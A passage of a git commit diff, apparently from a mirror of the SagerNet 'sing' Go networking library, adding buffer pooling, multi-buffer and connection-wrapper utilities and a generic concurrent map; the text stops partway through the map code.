mirror of
https://github.com/SagerNet/sing.git
synced 2025-04-02 03:17:37 +03:00
Add shadowboom
This commit is contained in:
parent
5cc189a169
commit
f63868bf82
30 changed files with 1923 additions and 147 deletions
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -1 +1,2 @@
|
|||
/.idea/
|
||||
/.idea/
|
||||
/sing_*
|
3
README.md
Normal file
3
README.md
Normal file
|
@ -0,0 +1,3 @@
|
|||
# sing
|
||||
|
||||
Do you hear the people sing?
|
|
@ -1,9 +1,307 @@
|
|||
package buf
|
||||
|
||||
var Empty []byte
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io"
|
||||
"sing/common/list"
|
||||
|
||||
func init() {
|
||||
Empty = make([]byte, 128)
|
||||
"sing/common"
|
||||
)
|
||||
|
||||
type Buffer struct {
|
||||
data []byte
|
||||
start int
|
||||
end int
|
||||
managed bool
|
||||
}
|
||||
|
||||
func New() *Buffer {
|
||||
return &Buffer{
|
||||
data: GetBytes(),
|
||||
start: ReversedHeader,
|
||||
end: ReversedHeader,
|
||||
managed: true,
|
||||
}
|
||||
}
|
||||
|
||||
func StackNew() Buffer {
|
||||
return Buffer{
|
||||
data: GetBytes(),
|
||||
managed: true,
|
||||
}
|
||||
}
|
||||
|
||||
func From(data []byte) *Buffer {
|
||||
buffer := New()
|
||||
buffer.Write(data)
|
||||
return buffer
|
||||
}
|
||||
|
||||
func As(data []byte) *Buffer {
|
||||
size := len(data)
|
||||
max := cap(data)
|
||||
if size != max {
|
||||
data = data[:max]
|
||||
}
|
||||
return &Buffer{
|
||||
data: data,
|
||||
end: size,
|
||||
}
|
||||
}
|
||||
|
||||
func With(data []byte) *Buffer {
|
||||
return &Buffer{
|
||||
data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Buffer) Byte(index int) byte {
|
||||
return b.data[b.start+index]
|
||||
}
|
||||
|
||||
func (b *Buffer) SetByte(index int, value byte) {
|
||||
b.data[b.start+index] = value
|
||||
}
|
||||
|
||||
func (b *Buffer) Extend(n int) []byte {
|
||||
if b.start == b.end {
|
||||
b.start = 0
|
||||
b.end = n
|
||||
return b.data[:n]
|
||||
}
|
||||
end := b.end + n
|
||||
ext := b.data[b.end:end]
|
||||
b.end = end
|
||||
return ext
|
||||
}
|
||||
|
||||
func (b *Buffer) Advance(from int) {
|
||||
b.start += from
|
||||
}
|
||||
|
||||
func (b *Buffer) Truncate(to int) {
|
||||
b.end = b.start + to
|
||||
}
|
||||
|
||||
func (b *Buffer) Write(data []byte) (n int, err error) {
|
||||
if b.IsFull() {
|
||||
return 0, io.ErrShortBuffer
|
||||
}
|
||||
n = copy(b.data[b.end:], data)
|
||||
b.end += n
|
||||
return
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteAtFirst(data []byte) (n int, err error) {
|
||||
size := len(data)
|
||||
if b.start >= size {
|
||||
n = copy(b.data[b.start-size:b.start], data)
|
||||
b.start -= n
|
||||
return
|
||||
}
|
||||
|
||||
offset := size - b.start
|
||||
copy(b.data[offset:], b.data[b.start:b.end])
|
||||
n = copy(b.data[:offset], data)
|
||||
b.end += offset
|
||||
return
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteRandom(size int) {
|
||||
common.Must1(io.ReadFull(rand.Reader, b.Extend(size)))
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteByte(byte byte) error {
|
||||
if b.IsFull() {
|
||||
return io.ErrShortBuffer
|
||||
}
|
||||
b.data[b.end] = byte
|
||||
b.end++
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *Buffer) ReadFrom(r io.Reader) (int64, error) {
|
||||
if b.IsFull() {
|
||||
return 0, io.ErrShortBuffer
|
||||
}
|
||||
n, err := r.Read(b.FreeBytes())
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
b.end += n
|
||||
return int64(n), nil
|
||||
}
|
||||
|
||||
func (b *Buffer) ReadFullFrom(r io.Reader, size int) (n int, err error) {
|
||||
if b.IsFull() {
|
||||
return 0, io.ErrShortBuffer
|
||||
}
|
||||
end := b.end + size
|
||||
n, err = io.ReadFull(r, b.data[b.start:end])
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
b.end += n
|
||||
return
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteRune(s rune) (int, error) {
|
||||
return b.Write([]byte{byte(s)})
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteString(s string) (int, error) {
|
||||
return b.Write([]byte(s))
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteSprint(s ...any) (int, error) {
|
||||
return b.WriteString(fmt.Sprint(s...))
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteZero() error {
|
||||
if b.IsFull() {
|
||||
return io.ErrShortBuffer
|
||||
}
|
||||
b.end++
|
||||
b.data[b.end] = 0
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteZeroN(n int) error {
|
||||
if b.end+n > b.Cap() {
|
||||
return io.ErrShortBuffer
|
||||
}
|
||||
for i := b.end; i <= b.end+n; i++ {
|
||||
b.data[i] = 0
|
||||
}
|
||||
b.end += n
|
||||
return nil
|
||||
}
|
||||
|
||||
func (b *Buffer) ReadByte() (byte, error) {
|
||||
if b.IsEmpty() {
|
||||
return 0, io.EOF
|
||||
}
|
||||
|
||||
nb := b.data[b.start]
|
||||
b.start++
|
||||
return nb, nil
|
||||
}
|
||||
|
||||
func (b *Buffer) ReadBytes(n int) ([]byte, error) {
|
||||
if b.end-b.start < n {
|
||||
return nil, io.EOF
|
||||
}
|
||||
|
||||
nb := b.data[b.start : b.start+n]
|
||||
b.start += n
|
||||
return nb, nil
|
||||
}
|
||||
|
||||
func (b *Buffer) Read(data []byte) (n int, err error) {
|
||||
if b.Len() == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n = copy(data, b.data[b.start:b.end])
|
||||
if n == b.Len() {
|
||||
b.Reset()
|
||||
} else {
|
||||
b.start += n
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (b *Buffer) WriteTo(w io.Writer) (int64, error) {
|
||||
n, err := w.Write(b.Bytes())
|
||||
return int64(n), err
|
||||
}
|
||||
|
||||
func (b *Buffer) Resize(start, end int) {
|
||||
b.start = start
|
||||
b.end = b.start + end
|
||||
}
|
||||
|
||||
func (b *Buffer) Reset() {
|
||||
b.start = ReversedHeader
|
||||
b.end = ReversedHeader
|
||||
}
|
||||
|
||||
func (b *Buffer) Release() {
|
||||
if b == nil || b.data == nil || !b.managed {
|
||||
return
|
||||
}
|
||||
PutBytes(b.data)
|
||||
*b = Buffer{}
|
||||
}
|
||||
|
||||
func (b Buffer) Len() int {
|
||||
return b.end - b.start
|
||||
}
|
||||
|
||||
func (b Buffer) Cap() int {
|
||||
return cap(b.data)
|
||||
}
|
||||
|
||||
func (b Buffer) Bytes() []byte {
|
||||
return b.data[b.start:b.end]
|
||||
}
|
||||
|
||||
func (b Buffer) Slice() []byte {
|
||||
return b.data
|
||||
}
|
||||
|
||||
func (b Buffer) From(n int) []byte {
|
||||
return b.data[b.start+n : b.end]
|
||||
}
|
||||
|
||||
func (b Buffer) To(n int) []byte {
|
||||
return b.data[b.start : b.start+n]
|
||||
}
|
||||
|
||||
func (b Buffer) Index(start int) []byte {
|
||||
return b.data[b.start+start : b.start+start]
|
||||
}
|
||||
|
||||
func (b Buffer) FreeLen() int {
|
||||
return b.Cap() - b.end
|
||||
}
|
||||
|
||||
func (b Buffer) FreeBytes() []byte {
|
||||
return b.data[b.end:b.Cap()]
|
||||
}
|
||||
|
||||
func (b Buffer) IsEmpty() bool {
|
||||
return b.end-b.start == 0
|
||||
}
|
||||
|
||||
func (b Buffer) IsFull() bool {
|
||||
return b.end == b.Cap()
|
||||
}
|
||||
|
||||
func (b Buffer) ToOwned() *Buffer {
|
||||
var buffer *Buffer
|
||||
if b.Len() > BufferSize {
|
||||
buffer = As(make([]byte, b.Len()))
|
||||
copy(buffer.data, b.Bytes())
|
||||
} else {
|
||||
buffer = New()
|
||||
buffer.Write(b.Bytes())
|
||||
}
|
||||
return buffer
|
||||
}
|
||||
|
||||
func (b Buffer) Copy() []byte {
|
||||
buffer := make([]byte, b.Len())
|
||||
copy(buffer, b.Bytes())
|
||||
return buffer
|
||||
}
|
||||
|
||||
func ReleaseMulti(mb *list.List[*Buffer]) {
|
||||
for entry := mb.Front(); entry != nil; entry = entry.Next() {
|
||||
// TODO: remove cast
|
||||
var buffer *Buffer = entry.Value
|
||||
buffer.Release()
|
||||
}
|
||||
}
|
||||
|
||||
func ForeachN(b []byte, size int) [][]byte {
|
||||
|
|
23
common/buf/buffer_test.go
Normal file
23
common/buf/buffer_test.go
Normal file
|
@ -0,0 +1,23 @@
|
|||
package buf_test
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"testing"
|
||||
|
||||
vb "github.com/v2fly/v2ray-core/v5/common/buf"
|
||||
"sing/common/buf"
|
||||
)
|
||||
|
||||
func TestBuffer(t *testing.T) {
|
||||
v := vb.New()
|
||||
v.ReadFullFrom(rand.Reader, 1024)
|
||||
buffer := buf.New()
|
||||
buffer.Write(v.Bytes())
|
||||
v.Write(v.Bytes())
|
||||
buffer.Write(buffer.Bytes())
|
||||
|
||||
if bytes.Compare(v.Bytes(), buffer.Bytes()) > 0 {
|
||||
t.Fatal("bad request data\n", v.Bytes(), "\n", buffer.Bytes())
|
||||
}
|
||||
}
|
98
common/buf/multi.go
Normal file
98
common/buf/multi.go
Normal file
|
@ -0,0 +1,98 @@
|
|||
package buf
|
||||
|
||||
type MultiBuffer struct {
|
||||
buffers []*Buffer
|
||||
index int
|
||||
}
|
||||
|
||||
func (b MultiBuffer) Size() int {
|
||||
return len(b.buffers)
|
||||
}
|
||||
|
||||
func (b MultiBuffer) Len() int {
|
||||
var length int
|
||||
for _, buffer := range b.buffers {
|
||||
length += buffer.Len()
|
||||
}
|
||||
return length
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) Release() {
|
||||
for _, buffer := range b.buffers {
|
||||
buffer.Release()
|
||||
}
|
||||
b.buffers = nil
|
||||
b.index = 0
|
||||
}
|
||||
|
||||
func (b MultiBuffer) From(n int) MultiBuffer {
|
||||
var newBuffer MultiBuffer
|
||||
for _, buffer := range b.buffers {
|
||||
if n == 0 {
|
||||
newBuffer.buffers = append(newBuffer.buffers, buffer)
|
||||
} else if buffer.Len() < n {
|
||||
n -= buffer.Len()
|
||||
} else {
|
||||
newBuffer.buffers = append(newBuffer.buffers, As(buffer.From(n)))
|
||||
n = 0
|
||||
}
|
||||
}
|
||||
return newBuffer
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) BufferForWrite() *Buffer {
|
||||
var buffer *Buffer
|
||||
if b.Size() > 0 && !b.buffers[b.index].IsFull() {
|
||||
buffer = b.buffers[b.index]
|
||||
} else {
|
||||
buffer = New()
|
||||
b.buffers = append(b.buffers, buffer)
|
||||
b.index++
|
||||
}
|
||||
return buffer
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) Write(data []byte) (n int, err error) {
|
||||
size := len(data)
|
||||
var wn int
|
||||
for wn < size {
|
||||
n, err = b.BufferForWrite().Write(data)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
wn += n
|
||||
}
|
||||
return wn, nil
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) WriteAtFirst(data []byte) (n int, err error) {
|
||||
length := len(data)
|
||||
if b.Size() > 0 {
|
||||
buffer := b.buffers[0]
|
||||
if buffer.start > 0 {
|
||||
n = copy(buffer.data[:buffer.start], data[length-buffer.start:length])
|
||||
buffer.start -= n
|
||||
}
|
||||
}
|
||||
if n < length {
|
||||
b.buffers = append([]*Buffer{As(data[n:length])}, b.buffers...)
|
||||
b.index++
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) WriteMulti(data *MultiBuffer) (n int, err error) {
|
||||
defer data.Release()
|
||||
for _, buffer := range data.buffers {
|
||||
writeN, err := b.Write(buffer.Bytes())
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
n += writeN
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (b *MultiBuffer) WriteString(str string) (n int, err error) {
|
||||
return b.Write([]byte(str))
|
||||
}
|
|
@ -1,30 +1,23 @@
|
|||
package buf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"sync"
|
||||
import "sync"
|
||||
|
||||
const (
|
||||
ReversedHeader = 1024
|
||||
BufferSize = 20 * 1024
|
||||
)
|
||||
|
||||
const BufferSize = 20 * 1024
|
||||
|
||||
var bufferPool = sync.Pool{
|
||||
var pool = sync.Pool{
|
||||
New: func() any {
|
||||
var data [BufferSize]byte
|
||||
return bytes.NewBuffer(data[:0])
|
||||
var buffer [BufferSize]byte
|
||||
return buffer[:]
|
||||
},
|
||||
}
|
||||
|
||||
func New() *bytes.Buffer {
|
||||
return bufferPool.Get().(*bytes.Buffer)
|
||||
func GetBytes() []byte {
|
||||
return pool.Get().([]byte)
|
||||
}
|
||||
|
||||
func Extend(buffer *bytes.Buffer, size int) []byte {
|
||||
l := buffer.Len()
|
||||
buffer.Grow(size)
|
||||
return buffer.Bytes()[l : l+size]
|
||||
}
|
||||
|
||||
func Release(buffer *bytes.Buffer) {
|
||||
buffer.Reset()
|
||||
bufferPool.Put(buffer)
|
||||
func PutBytes(buffer []byte) {
|
||||
pool.Put(buffer)
|
||||
}
|
||||
|
|
|
@ -84,11 +84,20 @@ func Must1(_ any, err error) {
|
|||
}
|
||||
}
|
||||
|
||||
func Close(closers ...io.Closer) {
|
||||
func Close(closers ...any) {
|
||||
for _, closer := range closers {
|
||||
if closer == nil {
|
||||
continue
|
||||
}
|
||||
closer.Close()
|
||||
switch c := closer.(type) {
|
||||
case io.Closer:
|
||||
c.Close()
|
||||
}
|
||||
switch c := closer.(type) {
|
||||
case ReaderWithUpstream:
|
||||
Close(c.Upstream())
|
||||
case WriterWithUpstream:
|
||||
Close(c.Upstream())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
87
common/conn.go
Normal file
87
common/conn.go
Normal file
|
@ -0,0 +1,87 @@
|
|||
package common
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type ReadOnlyException struct {
|
||||
}
|
||||
|
||||
func (e *ReadOnlyException) Error() string {
|
||||
return "read only connection"
|
||||
}
|
||||
|
||||
type WriteOnlyException struct {
|
||||
}
|
||||
|
||||
func (e *WriteOnlyException) Error() string {
|
||||
return "write only connection"
|
||||
}
|
||||
|
||||
type readWriteConn struct {
|
||||
io.Reader
|
||||
io.Writer
|
||||
}
|
||||
|
||||
func (r *readWriteConn) Close() error {
|
||||
Close(r.Reader)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *readWriteConn) LocalAddr() net.Addr {
|
||||
return new(DummyAddr)
|
||||
}
|
||||
|
||||
func (r *readWriteConn) RemoteAddr() net.Addr {
|
||||
return new(DummyAddr)
|
||||
}
|
||||
|
||||
func (r *readWriteConn) SetDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *readWriteConn) SetReadDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (r *readWriteConn) SetWriteDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
type readConn struct {
|
||||
readWriteConn
|
||||
}
|
||||
|
||||
func (r *readConn) Write(b []byte) (n int, err error) {
|
||||
return 0, new(ReadOnlyException)
|
||||
}
|
||||
|
||||
type writeConn struct {
|
||||
readWriteConn
|
||||
io.Writer
|
||||
}
|
||||
|
||||
func (w *writeConn) Read(p []byte) (n int, err error) {
|
||||
return 0, new(WriteOnlyException)
|
||||
}
|
||||
|
||||
func NewReadConn(reader io.Reader) net.Conn {
|
||||
c := new(readConn)
|
||||
c.Reader = reader
|
||||
return c
|
||||
}
|
||||
|
||||
func NewWritConn(writer io.Writer) net.Conn {
|
||||
c := new(writeConn)
|
||||
c.Writer = writer
|
||||
return c
|
||||
}
|
||||
|
||||
func NewReadWriteConn(reader io.Reader, writer io.Writer) net.Conn {
|
||||
c := new(readWriteConn)
|
||||
c.Reader = reader
|
||||
c.Writer = writer
|
||||
return c
|
||||
}
|
|
@ -1,3 +1,14 @@
|
|||
package common
|
||||
|
||||
const EmptyString = ""
|
||||
|
||||
type DummyAddr struct {
|
||||
}
|
||||
|
||||
func (d *DummyAddr) Network() string {
|
||||
return "dummy"
|
||||
}
|
||||
|
||||
func (d *DummyAddr) String() string {
|
||||
return "dummy"
|
||||
}
|
||||
|
|
|
@ -10,6 +10,11 @@ type Exception interface {
|
|||
Cause() error
|
||||
}
|
||||
|
||||
type SuppressedException interface {
|
||||
error
|
||||
Suppressed() error
|
||||
}
|
||||
|
||||
type exception struct {
|
||||
message string
|
||||
cause error
|
||||
|
|
24
common/flush.go
Normal file
24
common/flush.go
Normal file
|
@ -0,0 +1,24 @@
|
|||
package common
|
||||
|
||||
import "io"
|
||||
|
||||
type Flusher interface {
|
||||
Flush() error
|
||||
}
|
||||
|
||||
func Flush(writer io.Writer) error {
|
||||
for {
|
||||
if f, ok := writer.(Flusher); ok {
|
||||
err := f.Flush()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if u, ok := writer.(WriterWithUpstream); ok {
|
||||
writer = u.Upstream()
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
394
common/genericsync/map.go
Normal file
394
common/genericsync/map.go
Normal file
|
@ -0,0 +1,394 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package genericsync
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// Map is like a Go map[interface{}]interface{} but is safe for concurrent use
|
||||
// by multiple goroutines without additional locking or coordination.
|
||||
// Loads, stores, and deletes run in amortized constant time.
|
||||
//
|
||||
// The Map type is specialized. Most code should use a plain Go map instead,
|
||||
// with separate locking or coordination, for better type safety and to make it
|
||||
// easier to maintain other invariants along with the map content.
|
||||
//
|
||||
// The Map type is optimized for two common use cases: (1) when the entry for a given
|
||||
// key is only ever written once but read many times, as in caches that only grow,
|
||||
// or (2) when multiple goroutines read, write, and overwrite entries for disjoint
|
||||
// sets of keys. In these two cases, use of a Map may significantly reduce lock
|
||||
// contention compared to a Go map paired with a separate Mutex or RWMutex.
|
||||
//
|
||||
// The zero Map is empty and ready for use. A Map must not be copied after first use.
|
||||
type Map[K comparable, V any] struct {
|
||||
mu sync.Mutex
|
||||
|
||||
// read contains the portion of the map's contents that are safe for
|
||||
// concurrent access (with or without mu held).
|
||||
//
|
||||
// The read field itself is always safe to load, but must only be stored with
|
||||
// mu held.
|
||||
//
|
||||
// Entries stored in read may be updated concurrently without mu, but updating
|
||||
// a previously-expunged entry requires that the entry be copied to the dirty
|
||||
// map and unexpunged with mu held.
|
||||
read atomic.Value // readOnly
|
||||
|
||||
// dirty contains the portion of the map's contents that require mu to be
|
||||
// held. To ensure that the dirty map can be promoted to the read map quickly,
|
||||
// it also includes all of the non-expunged entries in the read map.
|
||||
//
|
||||
// Expunged entries are not stored in the dirty map. An expunged entry in the
|
||||
// clean map must be unexpunged and added to the dirty map before a new value
|
||||
// can be stored to it.
|
||||
//
|
||||
// If the dirty map is nil, the next write to the map will initialize it by
|
||||
// making a shallow copy of the clean map, omitting stale entries.
|
||||
dirty map[K]*entry[V]
|
||||
|
||||
// misses counts the number of loads since the read map was last updated that
|
||||
// needed to lock mu to determine whether the key was present.
|
||||
//
|
||||
// Once enough misses have occurred to cover the cost of copying the dirty
|
||||
// map, the dirty map will be promoted to the read map (in the unamended
|
||||
// state) and the next store to the map will make a new dirty copy.
|
||||
misses int
|
||||
}
|
||||
|
||||
// readOnly is an immutable struct stored atomically in the Map.read field.
|
||||
type readOnly[K comparable, V any] struct {
|
||||
m map[K]*entry[V]
|
||||
amended bool // true if the dirty map contains some key not in m.
|
||||
}
|
||||
|
||||
// expunged is an arbitrary pointer that marks entries which have been deleted
|
||||
// from the dirty map.
|
||||
var expunged = unsafe.Pointer(new(any))
|
||||
|
||||
// An entry is a slot in the map corresponding to a particular key.
|
||||
type entry[T any] struct {
|
||||
// p points to the interface{} value stored for the entry.
|
||||
//
|
||||
// If p == nil, the entry has been deleted, and either m.dirty == nil or
|
||||
// m.dirty[key] is e.
|
||||
//
|
||||
// If p == expunged, the entry has been deleted, m.dirty != nil, and the entry
|
||||
// is missing from m.dirty.
|
||||
//
|
||||
// Otherwise, the entry is valid and recorded in m.read.m[key] and, if m.dirty
|
||||
// != nil, in m.dirty[key].
|
||||
//
|
||||
// An entry can be deleted by atomic replacement with nil: when m.dirty is
|
||||
// next created, it will atomically replace nil with expunged and leave
|
||||
// m.dirty[key] unset.
|
||||
//
|
||||
// An entry's associated value can be updated by atomic replacement, provided
|
||||
// p != expunged. If p == expunged, an entry's associated value can be updated
|
||||
// only after first setting m.dirty[key] = e so that lookups using the dirty
|
||||
// map find the entry.
|
||||
p unsafe.Pointer // *interface{}
|
||||
}
|
||||
|
||||
func newEntry[T any](i T) *entry[T] {
|
||||
var anyValue any = i
|
||||
return &entry[T]{p: unsafe.Pointer(&anyValue)}
|
||||
}
|
||||
|
||||
// Load returns the value stored in the map for a key, or nil if no
|
||||
// value is present.
|
||||
// The ok result indicates whether value was found in the map.
|
||||
func (m *Map[K, V]) Load(key K) (value V, ok bool) {
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
e, ok := read.m[key]
|
||||
if !ok && read.amended {
|
||||
m.mu.Lock()
|
||||
// Avoid reporting a spurious miss if m.dirty got promoted while we were
|
||||
// blocked on m.mu. (If further loads of the same key will not miss, it's
|
||||
// not worth copying the dirty map for this key.)
|
||||
read, _ = m.read.Load().(readOnly[K, V])
|
||||
e, ok = read.m[key]
|
||||
if !ok && read.amended {
|
||||
e, ok = m.dirty[key]
|
||||
// Regardless of whether the entry was present, record a miss: this key
|
||||
// will take the slow path until the dirty map is promoted to the read
|
||||
// map.
|
||||
m.missLocked()
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
if !ok {
|
||||
var defaultValue V
|
||||
return defaultValue, false
|
||||
}
|
||||
return e.load()
|
||||
}
|
||||
|
||||
func (e *entry[T]) load() (value T, ok bool) {
|
||||
p := atomic.LoadPointer(&e.p)
|
||||
if p == nil || p == expunged {
|
||||
var defaultValue T
|
||||
return defaultValue, false
|
||||
}
|
||||
return (*(*any)(p)).(T), true
|
||||
}
|
||||
|
||||
// Store sets the value for a key.
|
||||
func (m *Map[K, V]) Store(key K, value V) {
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
if e, ok := read.m[key]; ok && e.tryStore(&value) {
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
read, _ = m.read.Load().(readOnly[K, V])
|
||||
if e, ok := read.m[key]; ok {
|
||||
if e.unexpungeLocked() {
|
||||
// The entry was previously expunged, which implies that there is a
|
||||
// non-nil dirty map and this entry is not in it.
|
||||
m.dirty[key] = e
|
||||
}
|
||||
e.storeLocked(&value)
|
||||
} else if e, ok := m.dirty[key]; ok {
|
||||
e.storeLocked(&value)
|
||||
} else {
|
||||
if !read.amended {
|
||||
// We're adding the first new key to the dirty map.
|
||||
// Make sure it is allocated and mark the read-only map as incomplete.
|
||||
m.dirtyLocked()
|
||||
m.read.Store(readOnly[K, V]{m: read.m, amended: true})
|
||||
}
|
||||
m.dirty[key] = newEntry(value)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// tryStore stores a value if the entry has not been expunged.
|
||||
//
|
||||
// If the entry is expunged, tryStore returns false and leaves the entry
|
||||
// unchanged.
|
||||
func (e *entry[T]) tryStore(i *T) bool {
|
||||
for {
|
||||
p := atomic.LoadPointer(&e.p)
|
||||
if p == expunged {
|
||||
return false
|
||||
}
|
||||
if atomic.CompareAndSwapPointer(&e.p, p, unsafe.Pointer(i)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// unexpungeLocked ensures that the entry is not marked as expunged.
|
||||
//
|
||||
// If the entry was previously expunged, it must be added to the dirty map
|
||||
// before m.mu is unlocked.
|
||||
func (e *entry[T]) unexpungeLocked() (wasExpunged bool) {
|
||||
return atomic.CompareAndSwapPointer(&e.p, expunged, nil)
|
||||
}
|
||||
|
||||
// storeLocked unconditionally stores a value to the entry.
|
||||
//
|
||||
// The entry must be known not to be expunged.
|
||||
func (e *entry[T]) storeLocked(i *T) {
|
||||
atomic.StorePointer(&e.p, unsafe.Pointer(i))
|
||||
}
|
||||
|
||||
// LoadOrStore returns the existing value for the key if present.
|
||||
// Otherwise, it stores and returns the given value.
|
||||
// The loaded result is true if the value was loaded, false if stored.
|
||||
func (m *Map[K, V]) LoadOrStore(key K, value V) (actual V, loaded bool) {
|
||||
// Avoid locking if it's a clean hit.
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
if e, ok := read.m[key]; ok {
|
||||
actual, loaded, ok := e.tryLoadOrStore(value)
|
||||
if ok {
|
||||
return actual, loaded
|
||||
}
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
read, _ = m.read.Load().(readOnly[K, V])
|
||||
if e, ok := read.m[key]; ok {
|
||||
if e.unexpungeLocked() {
|
||||
m.dirty[key] = e
|
||||
}
|
||||
actual, loaded, _ = e.tryLoadOrStore(value)
|
||||
} else if e, ok := m.dirty[key]; ok {
|
||||
actual, loaded, _ = e.tryLoadOrStore(value)
|
||||
m.missLocked()
|
||||
} else {
|
||||
if !read.amended {
|
||||
// We're adding the first new key to the dirty map.
|
||||
// Make sure it is allocated and mark the read-only map as incomplete.
|
||||
m.dirtyLocked()
|
||||
m.read.Store(readOnly[K, V]{m: read.m, amended: true})
|
||||
}
|
||||
m.dirty[key] = newEntry(value)
|
||||
actual, loaded = value, false
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
return actual, loaded
|
||||
}
|
||||
|
||||
// tryLoadOrStore atomically loads or stores a value if the entry is not
|
||||
// expunged.
|
||||
//
|
||||
// If the entry is expunged, tryLoadOrStore leaves the entry unchanged and
|
||||
// returns with ok==false.
|
||||
func (e *entry[T]) tryLoadOrStore(i T) (actual T, loaded, ok bool) {
|
||||
p := atomic.LoadPointer(&e.p)
|
||||
if p == expunged {
|
||||
var defaultValue T
|
||||
return defaultValue, false, false
|
||||
}
|
||||
if p != nil {
|
||||
return (*(*any)(p)).(T), true, true
|
||||
}
|
||||
|
||||
// Copy the interface after the first load to make this method more amenable
|
||||
// to escape analysis: if we hit the "load" path or the entry is expunged, we
|
||||
// shouldn't bother heap-allocating.
|
||||
ic := i
|
||||
for {
|
||||
if atomic.CompareAndSwapPointer(&e.p, nil, unsafe.Pointer(&ic)) {
|
||||
return i, false, true
|
||||
}
|
||||
p = atomic.LoadPointer(&e.p)
|
||||
if p == expunged {
|
||||
var defaultValue T
|
||||
return defaultValue, false, false
|
||||
}
|
||||
if p != nil {
|
||||
return (*(*any)(p)).(T), true, true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAndDelete deletes the value for a key, returning the previous value if any.
|
||||
// The loaded result reports whether the key was present.
|
||||
func (m *Map[K, V]) LoadAndDelete(key K) (value V, loaded bool) {
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
e, ok := read.m[key]
|
||||
if !ok && read.amended {
|
||||
m.mu.Lock()
|
||||
read, _ = m.read.Load().(readOnly[K, V])
|
||||
e, ok = read.m[key]
|
||||
if !ok && read.amended {
|
||||
e, ok = m.dirty[key]
|
||||
delete(m.dirty, key)
|
||||
// Regardless of whether the entry was present, record a miss: this key
|
||||
// will take the slow path until the dirty map is promoted to the read
|
||||
// map.
|
||||
m.missLocked()
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
if ok {
|
||||
return e.delete()
|
||||
}
|
||||
var defaultValue V
|
||||
return defaultValue, false
|
||||
}
|
||||
|
||||
// Delete deletes the value for a key.
|
||||
func (m *Map[K, V]) Delete(key K) {
|
||||
m.LoadAndDelete(key)
|
||||
}
|
||||
|
||||
func (e *entry[T]) delete() (value T, ok bool) {
|
||||
for {
|
||||
p := atomic.LoadPointer(&e.p)
|
||||
if p == nil || p == expunged {
|
||||
var defaultValue T
|
||||
return defaultValue, false
|
||||
}
|
||||
if atomic.CompareAndSwapPointer(&e.p, p, nil) {
|
||||
return (*(*any)(p)).(T), true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Range calls f sequentially for each key and value present in the map.
|
||||
// If f returns false, range stops the iteration.
|
||||
//
|
||||
// Range does not necessarily correspond to any consistent snapshot of the Map's
|
||||
// contents: no key will be visited more than once, but if the value for any key
|
||||
// is stored or deleted concurrently (including by f), Range may reflect any
|
||||
// mapping for that key from any point during the Range call. Range does not
|
||||
// block other methods on the receiver; even f itself may call any method on m.
|
||||
//
|
||||
// Range may be O(N) with the number of elements in the map even if f returns
|
||||
// false after a constant number of calls.
|
||||
func (m *Map[K, V]) Range(f func(key K, value V) bool) {
|
||||
// We need to be able to iterate over all of the keys that were already
|
||||
// present at the start of the call to Range.
|
||||
// If read.amended is false, then read.m satisfies that property without
|
||||
// requiring us to hold m.mu for a long time.
|
||||
read, _ := m.read.Load().(readOnly[K, V])
|
||||
if read.amended {
|
||||
// m.dirty contains keys not in read.m. Fortunately, Range is already O(N)
|
||||
// (assuming the caller does not break out early), so a call to Range
|
||||
